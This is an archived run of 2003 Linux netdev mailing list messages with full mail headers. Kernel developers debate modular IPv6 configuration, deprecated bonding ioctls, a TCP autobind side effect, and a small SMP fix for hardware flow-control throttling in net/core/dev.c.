Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 10:02:55 +0100 David Woodhouse wrote: > The underlying point being that your static kernel should not change if > you change an option from 'n' to 'm'. It should only affect the kernel > image if you change options to/from 'y'. I totally disagree, what ipv6 is doing is perfectly fine. From davem@pizda.ninka.net Mon Sep 29 22:27:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:27:50 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5REFx014849 for ; Mon, 29 Sep 2003 22:27:14 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA04686; Mon, 29 Sep 2003 22:22:09 -0700 Date: Mon, 29 Sep 2003 22:22:09 -0700 From: "David S. Miller" To: Kovacs Krisztian Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] ipv4 tcp autobind problem Message-Id: <20030929222209.4d02c542.davem@redhat.com> In-Reply-To: <3F782E1F.4030500@balabit.hu> References: <3F782E1F.4030500@balabit.hu> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Once connect() has been called on a socket, you may not ever again perform any action that would try to connect that socket. Said another way, a socket that has failed to connect() is a socket that you may not use in any usable way ever again except to close that file descriptor. From davem@pizda.ninka.net Mon Sep 29 22:53:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:54:05 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5rWFx015872 for ; Mon, 29 Sep 2003 22:53:32 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA05455; Mon, 29 Sep 2003 22:49:30 -0700 Date: Mon, 29 Sep 2003 22:49:29 -0700 From: "David S. Miller" To: Andrew Morton Cc: netdev@oss.sgi.com, cramerj@intel.com, scott.feldman@intel.com Subject: Re: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Message-Id: <20030929224929.4dc6ed4a.davem@redhat.com> In-Reply-To: <20030929143642.18b491ba.akpm@osdl.org> References: <20030929143642.18b491ba.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 353 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 14:36:42 -0700 Andrew Morton wrote: > Oh, it's taking xmit_lock in a timer handler. I give up. I think e1000 should rethink what it is doing :-) From davem@pizda.ninka.net Mon Sep 29 22:58:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:59:06 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5wUFx016329 for ; Mon, 29 Sep 2003 22:58:30 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA05478; Mon, 29 Sep 2003 22:54:25 -0700 Date: Mon, 29 Sep 2003 22:54:25 -0700 From: "David S. Miller" To: Jeff Garzik Cc: chad@tindel.net, netdev@oss.sgi.com Subject: Re: [bonding] compatibilty issues Message-Id: <20030929225425.42d5f84a.davem@redhat.com> In-Reply-To: <3F78C262.30109@pobox.com> References: <20030929232534.GB93323@calma.pair.com> <3F78C262.30109@pobox.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 19:38:10 -0400 Jeff Garzik wrote: > Well, if that's David's sentiment, then I respectfully disagree with that. I really really really did intend to move these deprecated as fast as possible. This is because these bonding ioctls use SIOCDEVPRIVATE values. I don't think it's much of a burdon to remove their existence from the 2.6.x copy of the driver, and I really wish you guys would do this because then people would fix their tools. You can very simply compile a copy of the tool that works with the non-SIOCDEVPRIVATE ioctls we added to the bonding driver a LONG time ago and it'll work with 2.4.x as well. It doesn't break because you made it work with the non-ambiguous ioctl values. From davem@pizda.ninka.net Mon Sep 29 23:00:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 23:00:35 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U602Fx016684 for ; Mon, 29 Sep 2003 23:00:02 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA05495; Mon, 29 Sep 2003 22:56:01 -0700 Date: Mon, 29 Sep 2003 22:56:01 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] irda 2.6.0-test6 Message-Id: <20030929225601.7b3811ed.davem@redhat.com> In-Reply-To: <20030929170606.09a2a767.shemminger@osdl.org> References: <20030929175938.GA11698@bougret.hpl.hp.com> <20030929170606.09a2a767.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 17:06:06 -0700 Stephen Hemminger wrote: > Here is a patch for all the pieces that are missing in 2.6.0-test6, > it contains all the pieces that didn't get picked up from my earlier > patches. Please, one patch per email so I can get the changelogs correct and reject individual parts of the changes without having to toss the entire thing. Stephen, you've done this twice today, once to Jeff and once to me. Never resubmit a bunch of individual patches as one big patch. From davem@redhat.com Mon Sep 29 23:25:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 23:25:58 -0700 (PDT) Received: from rth.ninka.net (rth.ninka.net [216.101.162.244]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U6PLFx017869 for ; Mon, 29 Sep 2003 23:25:21 -0700 Received: from rth.ninka.net (localhost.localdomain [127.0.0.1]) by rth.ninka.net (8.12.8/8.12.8) with SMTP id h8U6PK72008394; Mon, 29 Sep 2003 23:25:20 -0700 Date: Mon, 29 Sep 2003 23:25:20 -0700 From: "David S. Miller" To: Xose Vazquez Perez Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6] pci.ids for e1000 Message-Id: <20030929232520.0184a8f7.davem@redhat.com> In-Reply-To: <3F621965.4070106@wanadoo.es> References: <3F621965.4070106@wanadoo.es> X-Mailer: Sylpheed version 0.9.5 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 12 Sep 2003 21:07:17 +0200 Xose Vazquez Perez wrote: > Linus and Marcelo should not accept patches against pci.ids, > all updates should go to pciids.sf.net. And every X time > to do a sync with 2.4 and 2.6. I don't know if this is the best idea. When merging in a driver, it makes perfect sense to add the appropriate device IDs to all PCI ID files. On the other hand this could make life difficult for the pciids.sf.net person. From dwmw2@infradead.org Mon Sep 29 23:32:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 23:32:55 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U6WKFx018453 for ; Mon, 29 Sep 2003 23:32:20 -0700 Received: from [::1] (helo=localhost.localdomain) by imladris.demon.co.uk with esmtp (Exim 4.22) id 1A4E3U-0006mQ-6D; Tue, 30 Sep 2003 07:32:16 +0100 From: David Woodhouse To: "David S. Miller" Cc: acme@conectiva.com.br, bunk@fs.tum.de, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030929221712.51e6c27b.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> <20030929221712.51e6c27b.davem@redhat.com> Message-Id: <1064903505.6154.157.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 07:31:45 +0100 X-SA-Exim-Mail-From: dwmw2@infradead.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-SA-Exim-Version: 3.0+cvs (built Mon Aug 18 15:53:30 BST 2003) X-SA-Exim-Scanned: Yes X-archive-position: 357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Mon, 2003-09-29 at 22:17 -0700, David S. Miller wrote: > On Mon, 29 Sep 2003 10:02:55 +0100 > David Woodhouse wrote: > > > The underlying point being that your static kernel should not change if > > you change an option from 'n' to 'm'. It should only affect the kernel > > image if you change options to/from 'y'. > > I totally disagree, what ipv6 is doing is perfectly fine. Your right. -- dwmw2 From dwmw2@infradead.org Mon Sep 29 23:32:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 23:33:21 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U6WlFx018470 for ; Mon, 29 Sep 2003 23:32:48 -0700 Received: from [::1] (helo=localhost.localdomain) by imladris.demon.co.uk with esmtp (Exim 4.22) id 1A4E3u-0006me-Vh; Tue, 30 Sep 2003 07:32:43 +0100 From: David Woodhouse To: "David S. Miller" Cc: Adrian Bunk , acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030929220916.19c9c90d.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> Message-Id: <1064903562.6154.160.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 07:32:42 +0100 X-SA-Exim-Mail-From: dwmw2@infradead.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-SA-Exim-Version: 3.0+cvs (built Mon Aug 18 15:53:30 BST 2003) X-SA-Exim-Scanned: Yes X-archive-position: 358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Mon, 2003-09-29 at 22:09 -0700, David S. Miller wrote: > For things inside the kernel, what ipv6 is doing is completely legal. > Changing your config setting in any way in the main kernel tree can > change just about anything else in the kernel, including the layout > of structures. With boolean options that's fair enough. But changing any config option from 'n' to 'm' should not change anything in the main kernel. To do so is confusing and should be considered broken, as Adrian says. -- dwmw2 From davem@pizda.ninka.net Tue Sep 30 00:07:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 00:07:49 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U77BFx020988 for ; Tue, 30 Sep 2003 00:07:11 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA05691; Tue, 30 Sep 2003 00:03:03 -0700 Date: Tue, 30 Sep 2003 00:03:02 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930000302.3e1bf8bb.davem@redhat.com> In-Reply-To: <1064903562.6154.160.camel@imladris.demon.co.uk> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 07:32:42 +0100 David Woodhouse wrote: > On Mon, 2003-09-29 at 22:09 -0700, David S. Miller wrote: > > For things inside the kernel, what ipv6 is doing is completely legal. > > Changing your config setting in any way in the main kernel tree can > > change just about anything else in the kernel, including the layout > > of structures. > > With boolean options that's fair enough. But changing any config option > from 'n' to 'm' should not change anything in the main kernel. To do so > is confusing and should be considered broken, as Adrian says. This conflicts with the other reply you've made to me in this thread where you say that you agree with me. So which is it? :-) I don't see why "enabling to 'y'" and "enabling to 'm'" are in any way fundamentally different. You're turning something on, therefore something is going to change. And when I see suggestions that we add four options to replace the single one we have now, with a addendum saying "it's not really complex, we'll explain it in the documentation", I want to pull my hair out. I would rather apply a patch that bloats up the structures than subscribe to crazy ideas such as this four option one being proposed. From dfages@arkoon.net Tue Sep 30 00:08:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 00:08:48 -0700 (PDT) Received: from akguard.arkoon.net (guard.arkoon.net [62.161.237.193]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U78EFx021101 for ; Tue, 30 Sep 2003 00:08:15 -0700 Received: (from uucp@localhost) by akguard.arkoon.net (8.12.8p1/8.12.8) id h8U7Hkvl022050; Tue, 30 Sep 2003 09:17:46 +0200 Received: from Unknown(x.x.x.x); ------------------------------------------------------------------------ Received: from Unknown(x.x.x.x); X-Lotus-FromDomain: ARKOON From: dfages@arkoon.net To: Robert Olsson cc: Andrew Morton , netdev@oss.sgi.com Message-ID: Date: Tue, 30 Sep 2003 09:07:28 +0200 Subject: =?iso-8859-1?Q?R=E9f._:_Fw:_[BUG/PATCH]_CONFIG=5FNET=5FHW=5FFLOWCONTROL?= =?iso-8859-1?Q?_and_SMP?= Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-archive-position: 360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dfages@arkoon.net Precedence: bulk X-list: netdev Yes, I know that but, for the moment, I've to keep my 2.4.19 kernel (so without NAPI). I've also ported the e1000 driver to HW_FLOWCONTROL. Some people may be happy to use it... Regards, --- Daniel FAGES ARKOON Network Security http://www.arkoon.net |--------+---------------------------> | | Robert Olsson | | | | | | | | | 29/09/2003 23:25 | | | | |--------+---------------------------> >----------------------------------------------------------------------------| | | | Pour : Andrew Morton | | cc : netdev@oss.sgi.com, daniel fages/Arkoon | | Objet : Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP | >----------------------------------------------------------------------------| Hello! IMO HW_FLOWCONTROL is now outdated. It has served very well and encouraged people to use for Linux production networking. With a 2 tulip NIC's on a UP system as a typical system. Only tulip has code for it. This option was added by Alexey in 2.1.63 something... Cheers. --ro Andrew Morton writes: > > > Begin forwarded message: > > Date: Mon, 29 Sep 2003 14:08:54 +0200 > From: dfages@arkoon.net > To: linux-kernel@vger.kernel.org > Subject: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP > > > > > Hi, > by testing the CONFIG_NET_HW_FLOWCONTROL (NIC Hardware throttling) on > a SMP system, I found a bug in net/core/dev.c : the netdev_dropping > variable can be set to a negative value (the result is that a CPU can > be locked in "throttle" state). > This bug seems to exist in 2.4 and in 2.6 kernels. > > Here's a typical scenario : > > - Throttling --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 2 > - 1st packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 1 > - 2nd packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==1 > && netdev_dropping == 0 > - 3nd packet Unthrottle ( in net_rx_action() ), received by CPU 1 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==0 > && netdev_dropping == -1 > > and so on... > > The problem is that the (CPU)queue->throttle should be set to zero every > time the netdev_dropping variable is decremented. > > > Here's a patch for the 2.4.19 kernel (tested with success) : > > --- linux-2.4.19/net/core/dev.c.orig Mon Sep 29 12:49:14 2003 > +++ linux-2.4.19/net/core/dev.c Tue Sep 23 18:35:35 2003 > @@ -1519,8 +1519,8 @@ > > #ifdef CONFIG_NET_HW_FLOWCONTROL > if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { > + queue->throttle = 0; > if (atomic_dec_and_test(&netdev_dropping)) { > - queue->throttle = 0; > netdev_wakeup(); > goto softnet_break; > } > > > > > I haven't done a patch for 2.4.22 (as we currently use 2.4.19) but the same > modification should be applied around lines 1572 to 1577 of net/core/dev.c > > For 2.6.0-test5, the lines to modified are arount 1631 to 1637. > > Regards, > --- > Daniel FAGES > ARKOON Network Security http://www.arkoon.net > > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From davem@pizda.ninka.net Tue Sep 30 00:12:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 00:13:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U7CUFx021838 for ; Tue, 30 Sep 2003 00:12:31 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA05720; Tue, 30 Sep 2003 00:08:27 -0700 Date: Tue, 30 Sep 2003 00:08:27 -0700 From: "David S. Miller" To: dfages@arkoon.net Cc: Robert.Olsson@data.slu.se, akpm@osdl.org, netdev@oss.sgi.com Subject: Re: =?ISO-8859-1?Q?R=E9f.?= : Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP Message-Id: <20030930000827.586fdac1.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 09:07:28 +0200 dfages@arkoon.net wrote: > Yes, I know that but, for the moment, I've to keep my 2.4.19 kernel > (so without NAPI). I've also ported the e1000 driver to > HW_FLOWCONTROL. Some people may be happy to use it... I agree to adding the bug fix, it's a bug fix and for code we can't remove from the 2.4.x series at this point. I don't agree to adding usage of this deprecated feature to any drivers shipped in the kernel. If you're going to invest time into making this kind of improvement, invest it in a NAPI port. So I'll add your bug fix, thanks. From hidden@balabit.hu Tue Sep 30 00:15:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 00:15:46 -0700 (PDT) Received: from balabit.hu (catv-d5dea83f.bp11catv.broadband.hu [213.222.168.63]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U7F5Fx022256 for ; Tue, 30 Sep 2003 00:15:11 -0700 Message-ID: <3F792D73.50309@balabit.hu> Date: Tue, 30 Sep 2003 09:14:59 +0200 From: Kovacs Krisztian MIME-Version: 1.0 To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] ipv4 tcp autobind problem References: <3F782E1F.4030500@balabit.hu> <20030929222209.4d02c542.davem@redhat.com> In-Reply-To: <20030929222209.4d02c542.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hidden@balabit.hu Precedence: bulk X-list: netdev Hi, David S. Miller wrote: > Once connect() has been called on a socket, you may not ever again > perform any action that would try to connect that socket. > > Said another way, a socket that has failed to connect() is a socket > that you may not use in any usable way ever again except to close > that file descriptor. Yes, I know that. Exactly this is why I felt it a problem that sk->num gets a new value if you call send() after an unsuccessful connect(). (I know that in theory one should not call send() in this case, but one _can_ call it in reality.) And, the problem occurs not only when send() is called after an unsuccessful connect(), but also when an RST is received between two send() calls, which is perfectly legal, and cannot be viewed as buggy user-space software. I don't really understand why the inet_sendmsg() calls inet_autobind() for SOCK_STREAM sockets: for these kind of sockets, one must call connect() anyway, before doing any other kind of operations. And, the side effect of the code /* We may need to bind the socket. */ if (!inet_sk(sk)->num && inet_autobind(sk)) return -EAGAIN; in inet_sendmsg() is that when an RST is received, sk->num is set to zero, and when the next inet_sendmsg() call occurs, the socket is rebound to a new port _before_ returning an error. In our transparent proxying patch, this causes problems, because it assumes that after a socket is bound (by connect(), for example), the local port (sk->sport) remains unchanged until the socket is closed. However, this is not true because of the mentioned side effect of inet_sendmsg(). This is why I proposed that inet_sendmsg() should call inet_autobind() only if it's not a SOCK_STREAM socket. -- Regards, Krisztian KOVACS From dwmw2@infradead.org Tue Sep 30 00:39:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 00:40:18 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U7dgFx026544 for ; Tue, 30 Sep 2003 00:39:42 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 6020563D66; Tue, 30 Sep 2003 08:39:36 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8U7dXpb027230; Tue, 30 Sep 2003 08:39:34 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930000302.3e1bf8bb.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> Content-Type: text/plain Message-Id: <1064907572.21551.31.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 08:39:33 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 00:03 -0700, David S. Miller wrote: > This conflicts with the other reply you've made to me in this > thread where you say that you agree with me. > > So which is it? :-) Sorry, I was having a laugh. It amused me to demonstrate how a single apostrophe, or lack of it, can entirely change the meaning of a sentence. I didn't expect you personally to fall for it -- I expected you to give me more credit than to assume I'd make kindergarten errors in a two-word email. Read it again, only this time bear in mind I'm a native English speaker with an IQ over 50 :) > I don't see why "enabling to 'y'" and "enabling to 'm'" are in any > way fundamentally different. You're turning something on, therefore > something is going to change. And you don't see why it's confusing that turning something on as a _module_ changes the contents of the kernel image? 99% or more of tristate options can be enabled without affecting the kernel, and it is expected that such options can be set to 'm' later, while the kernel in question is actually running, then built and loaded without a reboot. We should strive to keep this true. > And when I see suggestions that we add four options to replace the > single one we have now, with a addendum saying "it's not really > complex, we'll explain it in the documentation", I want to pull my > hair out. It was two options, giving four potential combinations. They were simple: Allow this kernel to ever support IPv6? Y/N Build IPv6 support? Y/M/N -- dwmw2 From davem@pizda.ninka.net Tue Sep 30 01:13:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 01:14:03 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U8D4Fx031913 for ; Tue, 30 Sep 2003 01:13:24 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA05920; Tue, 30 Sep 2003 01:08:55 -0700 Date: Tue, 30 Sep 2003 01:08:55 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930010855.095c2c35.davem@redhat.com> In-Reply-To: <1064907572.21551.31.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 08:39:33 +0100 David Woodhouse wrote: > And you don't see why it's confusing that turning something on as a > _module_ changes the contents of the kernel image? For something in the kernel tree, no I don't. > 99% or more of tristate options can be enabled without affecting the > kernel, and it is expected that such options can be set to 'm' later, > while the kernel in question is actually running, then built and loaded > without a reboot. Expected by whom? Not by me. > We should strive to keep this true. For things _OUTSIDE_ the kernel, surely. But inside the kernel tree I don't see any value in this new restriction. > Allow this kernel to ever support IPv6? Y/N > Build IPv6 support? Y/M/N And I still think this is a complete joke. If the user sets CONFIG_IPV6 to 'm' from 'n', and make then creates a new kernel image for him (which it will if dependencies are working correctly), if he can't figure out that he's gotta install that thing maybe he should enable module symbol versions to protect him from insmod'ing that ipv6 module by mistake. Actually, he won't be able to anyways since only the new kernel exports a bunch of ipv4 symbols which ipv6 needs. We could even somehow 'tag' the ipv4 core such that the ipv6 module can check whether it knows that ipv6 was built as a module or not. The suggestions I see do nothing to enhance the kernel tree as it currently stands. If you wish to prevent the kernel image from changing due to out-of-tree modules being built, fine, but don't impose this restriction upon in-kernel modules. From dwmw2@infradead.org Tue Sep 30 01:26:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 01:27:29 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U8QnFx001975 for ; Tue, 30 Sep 2003 01:26:51 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id E915D63D63; Tue, 30 Sep 2003 09:26:40 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8U8Qcpb019185; Tue, 30 Sep 2003 09:26:38 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: 